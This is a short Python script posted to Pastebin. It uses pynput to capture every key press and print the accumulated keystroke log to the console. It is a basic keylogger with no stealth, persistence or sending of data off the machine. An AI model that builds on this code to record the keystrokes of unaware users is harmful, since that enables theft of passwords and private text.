Guest User

Untitled

a guest
Aug 10th, 2020
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.27 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import pynput.keyboard
  3. log = ''
  4. def process_key_press(key):
  5.     global log
  6.     log = log + str(key)
  7.     print(log)
  8.  
  9. keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
  10. with keyboard_listener:
  11.     keyboard_listener.join()
Advertisement
Add Comment
Please, Sign In to add comment